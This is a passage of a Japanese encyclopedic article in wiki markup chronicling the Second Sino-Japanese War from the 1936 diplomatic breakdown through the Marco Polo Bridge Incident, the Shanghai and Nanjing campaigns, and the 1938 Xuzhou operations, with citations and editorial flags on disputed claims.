1936年(昭和11年)8月23日の[[成都事件]]と9月3日の[[北海事件]]を受け、大日本帝国[[外務省]]は、国民政府の対日態度の是正を要求し、9月8日から川越・張群会談が開始された。大日本帝国が防共協定の締結、[[日本人]]顧問の招聘などを要求し、国民政府が冀東防共自治政府の解消を要求したため、交渉は平行線を辿った。その後、9月19日に[[漢口邦人巡査射殺事件|漢口]]、9月23日に[[上海日本人水兵狙撃事件|上海]]で日本人が殺害され、11月上旬に内蒙古軍による[[綏遠事件]]も勃発し、12月3日に交渉は決裂した。12月12日の張学良らによる蔣介石監禁事件[[西安事件]]を経て、1937年(昭和12年)初頭には[[国共合作]]が事実上成立した<ref name="今井98-99"/><ref name="波多野115-116"/>。
=== 林内閣の「対支実行策」 ===
1937年(昭和12年)2月2日、大日本帝国で廣田内閣から[[林内閣]]([[林銑十郎]]首相)へ交替すると、[[佐藤尚武]]外相は、対中優越観念の放棄や中華民国への軍事的[[威嚇]]方針をやめ、平和交渉に移るよう外交方針を変更し<ref name="臼井52-58">{{Harvnb|臼井勝美|2000|pp=52-58}}</ref>、[[参謀本部 (日本)|陸軍参謀本部]]戦争指導課長[[石原莞爾]]は、「[[華北分離工作]]」など従来の[[帝国主義]]的な侵寇政策の放棄を唱えた<ref name="臼井52-58"/>。4月16日に外務、大蔵、陸軍、海軍大臣四相により決定された対支実行策(第三次北支処理要綱)では、北支分治や中国内政を乱す政治工作は行わないとされ、日中防共軍事同盟の項目も削除された<ref name="臼井52-58"/>。一方で、関東軍は、対中高圧政策、「[[対支一撃論]]」を変更しなかった<ref name="臼井52-58"/>。5月3日、中華民国は、[[イギリス]]に財政基盤強化のための[[借款]]供与を要請し、イギリスは、大日本帝国にも参加を要請した<ref name="臼井60-64">{{Harvnb|臼井勝美|2000|pp=60-64}}</ref>。1937年(昭和12年)5月31日、林内閣は[[内閣総辞職|総辞職]]し、6月に[[近衛文麿]]内閣([[第1次近衛内閣|第1次]])が成立した<ref name="臼井52-58"/>。[[7月5日]]、[[川越茂]]駐中国大使は政府にイギリスからの借款供与提案を受諾するよう上申し、電報は盧溝橋事件前日の[[7月6日]]に届いた<ref name="臼井60-64"/>。<!--既存の文章を流用しましたが、もう少し書き換えたい。あと、第一次豊台事件、第二次豊台事件も必要--->
== 北支事変 ==
{{Battlebox
| battle_name = 北支事変
| campaign = 日中戦争
| colour_scheme = background:#ffccaa
| image = [[ファイル:盧溝橋付近.jpg|300px|]]
| caption = 1937年(昭和12年)盧溝橋近郊戦闘経過要図
| conflict = 日中戦争
| date = [[1937年]][[7月7日]] - [[1937年]][[9月]](閣議で呼称変更)
| place = [[中華民国 (1912年-1949年)|中国]]、[[華北]]地域
| result = 日中戦争へ拡大
| combatant1 = {{JPN1889}}<br/>{{MCK}}
| combatant2 = {{CHN1928}}
| commander1 = [[近衛文麿]]<br />[[香月清司]]<br />[[東条英機]]
| commander2 = [[蒋介石]]<br />[[宋哲元]]<br />[[傅作義]]<br />[[閻錫山]]<br />[[湯恩伯]]
| strength1 =
| strength2 =
| casualties1 =
| casualties2 =
}}
[[1937年]](昭和12年)[[7月7日]]の盧溝橋事件から8月の第二次上海事変による全面戦争化までの猶予期間に起きた軍事衝突は北支事変と呼ばれた。
=== 盧溝橋事件と北支事変===
{{Main|盧溝橋事件}}
[[1937年]](昭和12年)[[7月7日]]、当時[[華北|北支]]に駐屯していた日本軍の北平(現:[[北京市]])での夜間[[軍事演習|演習]]中に[[実弾]]が二度発射された。翌日午前5時30分、攻撃命令を受け、中国軍陣地に対し攻撃前進して行った<ref>{{Cite book|title=盧溝橋事件|date=|year=1993年|publisher=研文出版|author=安井三吉|page=215}}</ref>。その後、[[国民革命軍|中国国民党軍]]が衝突し、盧溝橋事件が勃発した<ref name="usu65to72">{{Harvnb|臼井勝美|2000|pp=65-72}}</ref>。この日本軍が駐留していた[[豊台]]は、[[義和団の乱]]の事後処理を定めた[[北京議定書]]に定められた駐留可能地ではなく、{{要出典範囲|date=2019年4月|法的根拠のない駐留だった<ref name="英国軍ノ豊台守備ノ経緯ト日本軍ヲ配置セントスル能否調査">{{アジア歴史資料センター|C01004192300|軍兵力並配置に関する参考資料の件(支駐)}}</ref>}}。当時この地区の居留民保護のため駐留していた外国部隊は日本兵4,080、フランス兵1,839、米兵1,227、英兵999、イタリア兵384であり、日本人居留民は17,000人、米欧居留民は計10338人であった<ref name="kawakami136to149"/>。
[[7月8日]]、蔣介石は日記に「倭寇の挑発に対して応戦すべき」と書き<ref name="usu65to72"/>、[[7月9日]]に動員令を出し、四個[[師団]]と[[戦闘機]]を華北へ派遣した<ref name="kawakami136to149"/>。[[7月19日]]までに北支周辺に30個師団、総兵力20万人を配備した<ref name="kawakami136to149"/>{{refnest|group="注釈"|当時の[[朝日新聞]]報道では[[7月10日]]動員令、[[7月17日]]までに配備完了<ref name="asa717">『朝日新聞』1937年7月17日付夕刊 1面</ref>}}。
[[7月11日]]、日中の現地軍同士で[[停戦]]協定が締結され(松井-秦徳純協定)、中華民国側は遺憾の意思を表明し、責任者を処分すること、盧溝橋付近には中国軍にかわって保安隊が駐留すること、事件は藍衣社、中国共産党など抗日団体が指導したとみられるため今後取り締る、という内容の停戦協定が締結された<ref name="usu65to72"/><ref name="kawakami136to149"/>。事態収拾に向う動きが見えたことから[[内地]]師団の動員は一時見合わせとなった。
; 日本政府が不拡大方針と軍の増派を同時に決定
一方、同年[[7月11日]]午前の会議で[[第1次近衛内閣]]は[[関東軍]]独立混成第11旅団・[[独立混成第1旅団]]の二個[[旅団]]・[[朝鮮軍 (日本軍)|朝鮮軍]][[第20師団 (日本軍)|第20師団]]の[[華北|北支]]派兵を発令<ref name="usu65to72"/>、支那駐屯軍に編入される。近畿以西の全陸軍部隊の除隊延期も決定する。同日、重篤となった[[田代皖一郎]][[支那駐屯軍]]司令官に代え、[[香月清司]]中将を新司令官に親補。また近衛内閣は現地解決、不拡大方針を閣議決定<ref>昭和12年7月11日[[閣議決定]]「盧溝橋事件処理に関する閣議決定」([[第1次近衛内閣]]:[[近衛文麿]]首相)</ref>、さらに「北支派兵に関する政府声明」を発表し、事件を「'''[[北支事変]]'''」と名付け、今回の事件は中国側の計画的武力行使であり、大日本帝国はこれに対して自衛権を行使するために派兵(増員)するとした<ref name="usu65to72"/>。7月13日に[[北京市|北平]](北京)の大紅門で日本軍トラックが中国兵に爆破され日本兵4人が死亡する[[大紅門事件]]が発生。
; 国民政府の対日武力行使決定
中国共産党は[[7月15日]]に国共合作による全面抗戦を呼びかける。蔣介石も[[7月17日]]、[[廬山]]談話会において、中華民国は弱国であり戦争を求めてはならないが、やむをえない場合は徹底抗戦すると表明する<ref name="usu65to72"/>。中華民国政府は[[7月19日]]、国民党の第29軍代表張自忠らが盧溝橋事件の停戦協定の細目実施を申し出、共産党の策動を徹底的に弾圧すること、排日職員を取り締ること、排日団体は撤去すること、排日運動、排日教育を取り締ることを日本に誓約する<ref name="usu65to72"/> 一方で、盧溝橋事件に関する地域レベルでの決着は認めないと日本側に通告した<ref name="kawakami136to149"/>。7月20日には中国軍第37師部隊は再び盧溝橋付近で日本軍に攻撃した<ref name="kawakami136to149"/>。7月21日、蔣介石は南京戦争会議で「大日本帝国に対して武力行使を行う」という方針を採択した<ref name="kawakami136to149"/>。7月23日、南京副幕僚長孫浜将軍が北京と保定の軍に対日戦闘を勧告した<ref name="kawakami136to149"/>。
他方、[[7月22日]]から「中国当局は抗日雑誌等を禁止、藍衣社などを弾圧した」と日本政府に報告された<ref name="usu65to72"/>。
; 日本軍の総攻撃
中国軍は北平・天津の電線切断作戦を展開した<ref name="kawakami136to149"/>。
1937年[[7月25日]]、郎坊駅で電線を修理した日本軍兵士が休憩しているところに中国軍が襲撃した([[郎坊事件]])<ref name="kawakami136to149"/>。日本軍は修理した電線で天津の本部と連絡をとり、翌[[7月26日]]、日本軍戦闘機が中国人陣地を爆撃し<ref name="kawakami136to149"/>、同地を日本軍が占領<ref name="usu65to72"/>。日本帝国軍は宋哲元将軍に、「北平城から中国29路軍37師を撤退させることで誠意を見せてほしい。もし要請に応じなければ、日本帝国軍は大日本帝国にとって適切な行動をとる」と最後通告を行ったが、中国側は応じなかった<ref name="kawakami136to149"/>。
翌[[7月26日]]に広安門居留民保護に駆けつけた[[大日本帝国陸軍|日本陸軍]]兵士が広安門で中国軍より銃撃を受ける([[広安門事件]])<ref name="usu65to72"/>。
[[7月27日]]、日本軍(支那駐屯軍)は総攻撃の実施を決定した<ref name="usu65to72"/><ref name="kawakami136to149"/>。第1次近衛内閣は内地師団動員を下令。[[第5師団 (日本軍)|第5師団]]・[[第6師団 (日本軍)|第6師団]]・[[第10師団 (日本軍)|第10師団]]の動員派兵を決定<ref name="usu65to72"/>。同日午後11時、南京政府は日本側へ、北支当局と日本軍守備隊の協定に関する交渉を日本へ申し出た<ref name="kawakami136to149"/>。総攻撃を前にして住民を逃すため香月軍司令官の要請を受けて[[J.O.スタヂオ]]の技術者として支渡していた[[菱刈隆文]]が北平上空から20万枚の布告ビラを撒いた<ref>『家の光』、産業組合中央会、1937年10月1日、p25</ref>。
[[7月28日]]午前5時、日本軍支那駐屯軍、北支で攻撃を開始<ref name="usu65to72"/><ref name="kawakami136to149"/>。中国軍は5000余人が戦死、撃滅され、同日夜、北平にいた宋哲元、秦徳純などは脱出した<ref name="usu65to72"/>。
; 通州事件
[[7月29日]]には、日本の同盟軍であった[[冀東防共自治政府]]保安隊(中国人部隊)が、抗日側に転じて、日本軍特務機関・日本人・朝鮮人居留民に対して[[虐殺]]を実施した[[通州事件]]が発生<ref name="kawakami136to149"/><ref name="osugi271to272">{{Harvnb|大杉一雄|1996|pp=271-272}}</ref>。同日同時刻に29路軍が天津の日本人租界を攻撃した<ref name="kawakami136to149"/>。この通州事件は日本軍民に[[暴支膺懲]]の意識を強く植え付けることとなる<ref>児島襄『日中戦争』下巻、文藝春秋、1984年.p.79-80.</ref>。
; 日本軍の北平(北京)・天津占領とチャハル作戦
[[7月31日]]、日本軍(支那駐屯軍)、北平・[[天津市|天津]]地区を制圧<ref name="usu65to72"/>。
日本軍は7月末には北平・天津地方を制圧後、8月には河北省[[保定市|保定]]以北の制圧を実行に移そうとしたが、河北省南部に集結しつつある中国軍と衝突する恐れがあったため準備期間が必要となり一時延期され、代わりに行われた作戦が[[8月9日]]より関東軍が察哈爾省(現在の[[内モンゴル自治区]])とその周辺へ攻略を開始した([[チャハル作戦]]。後に10月17日に[[包頭]]を占領し、日本の傀儡政権[[蒙古連盟自治政府]]を樹立し、張家口に[[駐蒙軍]]を置いた。
== 「日中全面戦争」 ==
=== 第二次上海事変 ===
{{Main|第二次上海事変}}
;上海での中国側報復と日本軍増派
1937年8月9日、[[上海市|上海]]の非武装地帯で日本軍[[上海海軍特別陸戦隊]]の大山勇夫[[大日本帝国海軍|海軍]]中尉が、報復として中国保安隊に襲撃され殺害された。30発以上の銃撃を受け、顔を潰され、胴体に穴があくなどしていた ([[大山事件]])<ref name="kawakami152to171">{{Harvnb|K・カール・カワカミ|2001|pp=152-171}}</ref><ref name="usu77to87">{{Harvnb|臼井勝美|2000|pp=77-87}}</ref>。中国側は当時非武装地帯には保安隊の制服を着た中国正規軍を投入しており<ref name="kawakami152to171"/><ref name="usu77to87"/>、また1932年の休戦協定を無視してライフル、機関銃、カノン砲などを秘密裏に持ち込んでいた<ref name="kawakami152to171"/>。翌8月10日、日本の上海領事は国際委員会で中国の平和維持隊の撤退を要求し、外国人委員はこれに賛成し、O.K.ユイ([[兪鴻鈞]])中国市長も全力をあげて解決すると述べたが、翌8月11日、O.K.ユイ中国市長は「私は無力で何もできない」と日本側へ通告した<ref name="kawakami152to171"/>。
[[8月12日]]、中国軍部隊が上海まで前進して上海日本人租界区域を包囲し、<ref name="kawakami152to171"/>、翌[[8月13日]]早朝には[[上海海軍特別陸戦隊|日本海軍陸戦隊]]へ攻撃をしかけた<ref name="kawakami152to171"/>。午前9時20分、現地で包囲していた中国軍が機銃掃射攻撃を開始すると、日本軍陸戦隊は午後3時55分に応戦<ref name="osugi284to288">{{Harvnb|大杉一雄|1996|pp=284-288}}</ref>。中国軍はさらに午後5時頃爆破砲撃を開始した<ref name="usu77to87"/>。
8月13日、第1次近衛内閣は閣議決定により上海への陸軍派遣を決定<ref name="usu77to87"/>。また同8月13日にはイギリス、フランス、アメリカの総領事が日中両政府に日中両軍の撤退と多国籍軍による治安維持を伝えたが戦闘はすでに開始していた<ref name="kawakami152to171"/>。
翌[[8月14日]]には[[中華民国空軍|中国空軍]]は[[第二次上海事変#空軍の爆撃|日本の艦艇と上海租界への空爆]]を行った。日本軍艦の命中はなかったが、上海租界で外国人を含む千数百人の民間人死傷者が出た<ref name="usu77to87"/><ref name="osugi284to288"/>。
このような第二次上海事変の勃発により日中全面戦争に発展した{{refnest|group="注釈"|「第2次上海事変はついに日中全面戦争に発展するにいたった。」<ref>[[臼井勝美]]「上海事変」外務省外交史料館日本外交史辞典編纂委員会編『新版日本外交史辞典』山川出版社、1992年5月20日 発行、ISBN 4-634-62200-9、387頁。</ref>}}<ref>『永久保存版 シリーズ20世紀の記憶 第7巻 大日本帝国の戦争 2 太平洋戦争: 1937-1945』毎日新聞社、2000年4月1日 発行、11頁。「上海・南京攻略により華北の戦火は華中に飛び、戦いは「日中全面戦争」へと拡大、泥沼化する。」、22頁。「年表 第2次上海事変から日中全面戦争へ」</ref>{{refnest|group="注釈"|「第二次上海事変により (中略) 日中戦争は日中全面戦争化、長期戦化する様相となった」<ref>[[茶谷誠一]]『昭和天皇側近たちの戦争』吉川弘文館、2010年5月1日 第一刷発行、ISBN 978-4-642-05696-0、136頁。</ref>}}{{refnest|group="注釈"|「[全面化] 八月一四日、国民政府は「自衛抗戦声明書」を発表、翌一五日中国共産党も「抗日救国十大綱領」を提起した。」<ref>[[安井三吉]]「日中戦争」『日本大百科全書⑰』小学館、787頁。</ref>}}{{refnest|group="注釈"|「八月に入って第二次上海事変が起こり、戦火は華中一帯にひろがった。中国全土を巻きこんだ日本と中国との全面戦争となった。」<ref>[[芳井研一]]「日中戦争」吉田裕・森武麿・伊香俊哉・高岡裕之編『アジア・太平洋戦争辞典』吉川弘文館、二〇一五年十一月十日 第一版第一刷発行、ISBN 978-4-642-01473-1、508頁。</ref>}}。日本政府および軍部は上海への戦火波及はのぞんでいなかったとする見解もある<ref name="kawakami152to171"/><ref name="osugi284to288"/>。[[第1次近衛内閣|近衛内閣]]は[[8月15日]]、「もはや隠忍その限度に達し、[[暴支膺懲|支那軍の暴虐を膺懲し]]、南京政府の反省を促す」との声明を発表し、戦争目的は排日抗日運動の根絶と日本満洲支那三国の融和にあるとされ、[[上海派遣軍]]が編成された<ref name="usu77to87"/><ref>『東京朝日新聞』1937年8月15日付朝刊、2面</ref>。一方、同8月15日に[[中華民国の歴史#国民政府時代(1928年 - 1949年)|中華民国]]も全国総動員令を発し、大本営を設置して陸海空軍総司令に蔣介石が就任、戦時体制を確立し、さらに[[中国共産党]]も同8月15日に『抗日救国十大綱領』を発表し、中国全土での日中全面戦争となった<ref name="osugi284to288"/>。
その後、8月下旬、蔣介石は自軍が日本軍の前に敗走を重ねる原因を「日本軍に通じる漢奸」の存在によるものとして[[陳立夫]]を責任者として取締りの強化を指示し、「[[ソビエト連邦]]の[[国家政治保安部|ゲーペーウー(GPU)]]による殺戮政治の如き」[[漢奸狩り]]を開始した<ref>''The New York Times'', August 27, 1937。『読売新聞』1937年8月29日付第二夕刊。『読売新聞』1937年8月30日付号外。『東京朝日新聞』1937年8月29日付朝刊。『[[東京日日新聞]]』1937年8月29日付号外。『読売新聞』1937年9月14日</ref>。上海南市老西門広場では、毎日数十人が漢奸として処刑され、総数は4,000名に達し、中には政府官吏も300名以上含まれていた<ref name=yomiuri_19370915>『読売新聞』1937年9月15日</ref>。罪状は井戸、茶壺や食糧に毒を混入するように買収されたということや毒を所持で、警察官によって裏切り者に対する警告のために処刑された者の首が晒しものとされた。[[戒厳令]]下であるため裁判は必要とされず、宣告を受けたものは直ちに公開処刑された<ref>''The New York Times'', August 30, 1937記事</ref>。
;渡洋爆撃
同[[8月15日]]、[[大日本帝国海軍|日本海軍]]は[[渡洋爆撃]]を開始<ref name="osugi284to288"/>。15日より16日にかけて、[[大日本帝国海軍航空隊|海軍航空隊]]の96式陸攻38機が、[[南昌市|南昌]]・[[南京市|南京]]・[[広徳県|広徳]]・[[杭州市|杭州]]を台南の新竹基地と長崎大村基地からの[[渡洋爆撃]]を行った<ref name="hioki">[[日置英剛]]編『年表太平洋戦争全史』国書刊行会 (2005) {{要ページ番号|date=2015-06-22}}</ref>。15日より30日にかけて、同軍のべ147機が済州島・台北から出撃。広徳・南昌・南京などを空襲。未帰還機14機、大破13機。
[[8月17日]]、日本政府は従来の不拡大方針を放棄し、戦時体制の準備を講ずると閣議決定した<ref name="usu77to87"/>。
8月18日、イギリスは日中双方に対して双方の軍の撤退と、租界の日本人保護は外国当局に委任してくれれば責任をもって遂行すると通告、フランスもこれを支持した<ref name="kawakami152to171"/>。しかし日本政府はすでに戦闘が開始しているためこれを丁重に辞退した<ref name="kawakami152to171"/>。
[[8月20日]]日本海軍、漢口爆撃<ref name="hioki"/>。
[[8月21日]]、[[中ソ不可侵条約]]が締結され、5年間はソ連は日本と不可侵条約を締結せず、また中国は第三国と防共協定を締結しないという約束がなされ、まずは戦闘機50機の空輸が上申された<ref name="usu90to92"/>。[[8月22日]]には西北地域の共産党軍([[紅軍]])を[[国民革命軍]][[八路軍|第8路軍]]に改編、総兵力は32000<ref name="osugi284to288"/><ref>{{Harvnb|臼井勝美|2000|p=77}}</ref>。
[[8月23日]]、日本陸軍が[[上海市|上海]]上陸開始<ref name="osugi289to294">{{Harvnb|大杉一雄|1996|pp=289-294}}</ref>。しかし中国軍の抵抗が激しく、一日100mほどしか前進できなかった<!--「1日100メートル」は歩兵第6聯隊に限ったお話では?---><ref name="osugi289to294"/>。
南京駐在英国大使{{仮リンク|ヒュー・ナッチブル=ヒューゲッセン|en|Hughe Knatchbull-Hugessen}}が銃撃を受けて重症を負い、同行の大使館職員が[[大日本帝国海軍|日本海軍]]機の機銃掃射によるものであると主張したが、日本海軍が自軍による機銃掃射を否定したため、イギリスの対日感情が悪化し、約一か月後に解決した。
[[ニューヨーク・タイムズ]]の[[1937年]][[8月30日]]付記事では「北京での戦闘の責任については見解がわかれるかもしれないが、上海での戦闘に関する限り事実はひとつしかない。日本軍は戦闘拡大を望まず、事態悪化を防ぐためにできる限り全てのことをした。中国軍によって衝突へと無理矢理追い込まれてしまった」と報道した<ref name="kawakami152to171"/>。
1937年[[8月31日]]に[[大日本帝国陸軍|日本陸軍]][[支那駐屯軍]]は廃止され、[[北支那方面軍]]・[[第1軍 (日本軍)#日中戦争における第1軍|第1軍]]・[[第2軍 (日本軍)#日中戦争における第2軍|第2軍]]へと編成される<ref name="sakuraiyoshiki">櫻井良樹、「[https://doi.org/10.18901/00000407 近代日中関係の担い手に関する研究(中清派遣隊) -漢口駐屯の日本陸軍派遣隊と国際政治-]」『経済社会総合研究センター Working Paper』 2008年 29巻 p.1-41</ref>。
** [[9月2日]] - 日本、北支事変を[[支那事変]]と改称。
** [[9月5日]] - [[大日本帝国海軍|日本海軍]]、[[中国大陸]]沿岸の封鎖を宣言。
** [[9月9日]] - [[山西省]]の[[陽高県|陽高]]で、関東軍が中国人を虐殺する[[陽高事件]]が発生する。
** [[9月13日]]、国民政府、日本軍の行為を国際連盟に提訴。
** [[9月14日]] - 日本軍(北支那方面軍)、北平・天津より南進を開始。[[保定市|保定]]攻略。
** [[9月15日]]-22日 - 日本海軍航空隊、広東方面攻撃<ref name="hioki"/>。{{要出典範囲|date=2015-06-22|22日までに中国空軍、全滅}}<ref group="注釈">『皇国暦日史談』は「「我が海軍航空部隊は支那事変開始直後の9月22日月明の3時大挙広東を襲い、更に7時、13時半並びに14時の4回に亙り矢継早に空襲を繰り返したが敵空軍は己に全滅し高射砲も大半破壊して防空の役立たず、我が空軍は無人の境を行くが如くリレー式に広東市の西北より東にかけ天河、白雲両飛行場、兵器廠、淨塔水源池、其の他工場地帯、政府軍事各機関、遠東軍管学校、中山大学、中山紀念堂外重要建設物を片つ端から徹底的に爆撃した。此のため広東全市は殆んど猛火の巷と化し猛火盛んに上り大混乱に陥った。革命の震源地、排日の総本家たりし広東も我が正義の前に完膚なきまでに叩きのめされた。」と記している。[[日置英剛]]編『年表太平洋戦争全史』国書刊行会 (2005){{要ページ番号|date=2019年4月}}</ref>。広東空襲に際し国民政府は赤と緑の明かりを点滅させて空爆の為の指示を出したとして、一週間で100人以上が[[スパイ]]容疑で処刑される([[漢奸狩り]])<ref>''[[タイムズ|The Times]]''誌 9月27日 付記事</ref>。
** [[9月21日]]-22日 - 日本陸軍航空部隊、太原飛行場を爆撃。同21日には[[国際連盟]]の日中紛争諮問委員会が開催<ref name="hioki"/>。
* [[9月22日]]、[[第二次国共合作]]が成立する<ref name="osugi284to288"/>。
* 日本海軍航空隊は[[9月23日]]に[[南昌市|南昌]]を、翌日の[[9月24日]]に[[漢口]]を爆撃する<ref name="hioki"/>。
;国際連盟の日本空爆への非難決議
1937年[[9月28日]] - [[国際連盟]]の日中紛争諮問委員会、総会で日本軍による中国の都市への空爆に対する非難決議を満場一致で採択。8月15日から9月25日までの合計11次に及ぶ日本軍による「無差別攻撃」は同年4月26日の[[ゲルニカ爆撃]]と並んで、世界航空戦史未曾有の大空襲だとされた。
他方、1937年10月、[[教皇|ローマ法王]][[ピウス11世 (ローマ教皇)|ピオ11世]](在位:1922-39)は{{要検証|全世界の[[カトリック教会|カトリック]]教徒に対して日本軍への協力を呼びかけ、「日本の行動は、侵略ではない。日本は中国(支那)を守ろうとしているのである。日本は[[共産主義]]を排除するために戦っている。共産主義が存在する限り、全世界のカトリック教会、信徒は、遠慮なく日本軍に協力せよ」と声明を出した(バチカン・シチー特電 昭和12年10月14日 発。『東京朝日新聞』夕刊、昭和12年10月16日)。|date=2022年11月}}。[[東京朝日新聞]]は「これこそは、わが国の対支那政策の根本を諒解するものであり、知己の言葉として、百万の援兵にも比すべきである。英米諸国における認識不足の反日論を相殺して、なお余りあるというべきである」と評価した<ref>『東京朝日新聞』1937年10月16日付夕刊</ref>
* 1937年[[10月2日]] - 日本軍(北支那方面軍)、[[太原]]攻略開始([[山西作戦]])。[[ソビエト連邦|ソ連]]は対日軍事的、経済的制裁の実行をアメリカに打診した。
** [[10月5日]] - 国際連盟、諮問委員会で日本の軍事行動を[[九カ国条約]]・[[不戦条約]]違反とする決議採択(翌[[10月6日]]、総会でも決議)。同日、米国の[[フランクリン・ルーズベルト]][[アメリカ合衆国大統領|大統領]]、[[シカゴ]]で侵略国を批判する「隔離」演説。
** 10月10日 - 日本軍[[第1軍 (日本軍)|第1軍]]、[[石家荘]]占領。
** 10月12日 - [[華中|中支]]の紅軍を[[新四軍]]に改編。
** 10月17日、関東軍、[[包頭]]を占領(チャハル作戦終了)。10月26日、上海戦線でも難関の大場鎮の占領に成功<ref name="osugi289to294"/>。
=== 和平交渉決裂・南京占領 ===
上海攻略後、日本は和平工作を開始し([[トラウトマン工作]])、1937年[[11月2日]]にヘルベルト・フォン・ディルクセン[[駐日ドイツ大使]]に内蒙古自治政府の樹立、華北に非武装中立地帯([[冀東防共自治政府]]があった場所)、上海に非武装中立地帯を設置し、国際警察による共同管理、共同防共などを提示し、「直ちに和平が成立する場合は華北の全行政権は南京政府に委ねる」が記載されている和平条件は11月5日に[[オスカー・トラウトマン]]駐華ドイツ大使に示され、「戦争が継続すれば条件は加重される」と警告したにも関わらず蔣介石はこれを受理しなかった<ref name="osg289to300">{{Harvnb|大杉一雄|1996|pp=298-300}}</ref>。蔣介石が受理しなかったのは[[11月3日]]から開かれていた[[ブリュッセル]]での九カ国条約会議で中国に有利な調停を期待していたためとされるが、九カ国条約会議は日本非難声明にとどまった<ref name="osg289to300"/>。その後、トラウトマン大使は蔣介石へ「日本の条件は必ずしも過酷のものではない」と説得し、[[12月2日]]の軍事会議では「ただこれだけの条件であれば戦争する理由がない」という意見が多かったこともあり、蔣介石は日本案を受け入れる用意があるとトラウトマン大使に語り、これは[[12月7日]]に日本へ伝えられた<ref name="osg289to300"/>。その後、日本は南京攻略の戦況を背景に要求を増やし、賠償や永久駐留や傀儡化を含む厳しい条件にした。結果、日中和平交渉は決裂した<ref name="osg310to312">{{Harvnb|大杉一雄|1996|p=310}}</ref>。
* 1937年11月5日 - 日本軍[[第10軍 (日本軍)|第10軍]]、[[杭州湾]]に上陸。
** 11月7日 - [[中支那方面軍]]編成。
** 11月8日 - 日本軍(北支那方面軍)、[[太原]]占領。
** 11月9日 - 蔣介石、上海から撤退命令。
** 11月11日、日本軍、上海の最後の拠点南市を占領する<ref name="osugi289to294"/>。同日、[[ソビエト連邦]][[ソビエト連邦共産党書記長|共産党書記長]][[ヨシフ・スターリン]]は蔣介石に即時参戦の拒否を伝え、中国が不利になればソ連は日本と開戦すると述べた<ref name="usu90to92"/>。
** 11月19日には中支那方面軍が[[蘇州市|蘇州]]攻略。
** 11月20日 - 日本、[[大本営]]設置。同11月20日、国民政府(蔣介石)、南京より[[重慶市|重慶]]移駐を決定<ref name="usu124to135"/>。
** [[11月21日]]、ソ連機が南京で対日戦に参加<ref name="usu90to92"/>。12月末までに南京のソ連義勇兵は3665人となった<ref name="usu90to92"/>。
** 11月22日 - 日本、[[内蒙古]]に{{仮リンク|蒙疆連合委員会|zh|蒙疆联合委员会}}を樹立させる(後に[[蒙古連合自治政府]])。
*日本軍[[中支那方面軍]]、11月27日に[[無錫市|無錫]]、11月29日、[[常州市|常州]]を攻略。11月28日、日本軍は上海の電信、無線局、中国政府機関を押さえた<ref name="kawakami152to171"/>。
;南京戦
{{Main|南京戦}}
* 12月1日 - [[大本営]]、中支那方面軍に南京攻略を許可([[南京戦]])。
* 12月1日 - 蔣介石からの参戦の催促に対してソ連のスターリン共産党書記長は、「日本の挑戦もなく参戦すると侵略行動とみなされ、国際世論で日本が有利になる」と返答し、単独参戦を拒否した<ref name="usu90to92"/>。
* 12月10日 - 日本軍(中支那方面軍)、南京攻撃開始。
* 12月12日 - 中華民国(国民党)軍南京防衛司令官の[[唐生智]]大将が南京から逃走。同日、[[パナイ号事件]]が起きるが、アメリカは日本側の謝罪と賠償を受け入れた。
* [[12月13日]] - 日本軍が南京を占領した{{sfn|波多野澄雄|2010-01-31|p=6}}。国府軍捕虜、敗残兵、[[便衣兵]]、民間人の大量殺害や強姦を日本軍が行った[[南京事件]]が起きたが、事件について[[南京事件論争|論争]]がある。。
* [[12月14日]]、日本、北京に[[中華民国臨時政府 (北京)|中華民国臨時政府]]を樹立。
* 12月17日、中支那方面軍、南京入城式。12月18日、日本の陸海軍合同慰霊祭を南京故宮飛行場において挙行<ref>「支那事変写真全集 <中>」、朝日新聞、昭和13年発行{{要ページ番号|date=2015-06-22}}</ref>。
* 12月23日、南京で自治委員会が設立、治安が回復する<ref>[[タイムズ|英国紙THE TIMES(タイムズ)]], Dec. 24 1937, Nanking's New Rulers/Autonomous Commission Set Up</ref><ref>“ブリタニカ国際年鑑 1938年版(Encyclopaedia Britannica Book of The Year 1938)”{{要ページ番号|date=2015-06-22}}</ref>。
;華北
*華北では12月23日、第十師団が黄河を渡り、12月27日には[[山東省]][[済南市|済南]]を占領、翌1938年1月11日には山東省[[済寧]]を占領する<ref name="usu97to101">{{Harvnb|臼井勝美|2000|pp=97-101}}</ref>。
*[[1938年]]1月1日、[[南京攻略戦#南京自治委員会の発会式|南京自治委員会の発会式]]が挙行される。
** 1月10日 - 海軍陸戦隊が[[青島市|青島]]を占領<ref name="usu97to101"/>。
** 1月11日 - [[御前会議]]、「支那事変処理根本方針」を決定。
** 1月16日、日本政府は「国民政府を対手とせず」の声明(第一次近衛声明)を出し、日中和平工作が打ち切られた<ref name="osg310to312"/>。
** [[2月7日]] - [[中ソ航空協定]]締結。3月1日、中ソ間で3000万米ドルの借款が締結された<ref name="usu90to92">{{Harvnb|臼井勝美|2000|pp=90-92}}</ref>。1937年9月から1941年6月までの間にソ連は中国に、飛行機924機(爆撃機318、戦闘機562ほか)、戦車82両、大砲1140門、機関銃9720丁、歩兵銃50000丁、弾薬1億8000万発、トラクター602両、自動車1516両であった<ref name="usu90to92"/>。
** 2月14日 - 中支那方面軍・上海派遣軍・第10軍を廃止、[[中支那派遣軍]]が編成される<ref name="usu97to101"/>。
** [[3月28日]] - 日本、南京に[[中華民国維新政府]]を樹立させる。
** [[4月1日]] - 日本、[[国家総動員法]]公布。
=== 徐州攻略 ===
4月、中国広西軍は山東省台児荘で{{要出典範囲|date=2015-06-22|日本軍部隊5000兵力を包囲し、壊滅させ}}、中国の民衆は非常に喜んだ<ref name="isikawa188"/>。日本軍は中国軍主力が徐州に集中していると判断し<ref name="isikawa188"/>、1938年4月7日 - 大本営、北支那方面軍・中支那派遣軍に協力して[[徐州市|徐州]]を攻略するよう([[徐州会戦]])下命した<ref name="usu97to101"/>。[[5月10日]]、日本軍、[[廈門市|廈門]]を占領。5月15日、中国軍は徐州を放棄し逃走したので中国軍兵力の殲滅には失敗することとなった<ref name="usu97to101"/>。5月19日 - 日本軍(北支那方面軍・中支那派遣軍)、徐州占領<ref name="usu97to101"/>。
* 5月20日 - 中国軍機2機が[[渡洋爆撃#中国からの渡洋爆撃|九州へ飛来してビラ散布]]。
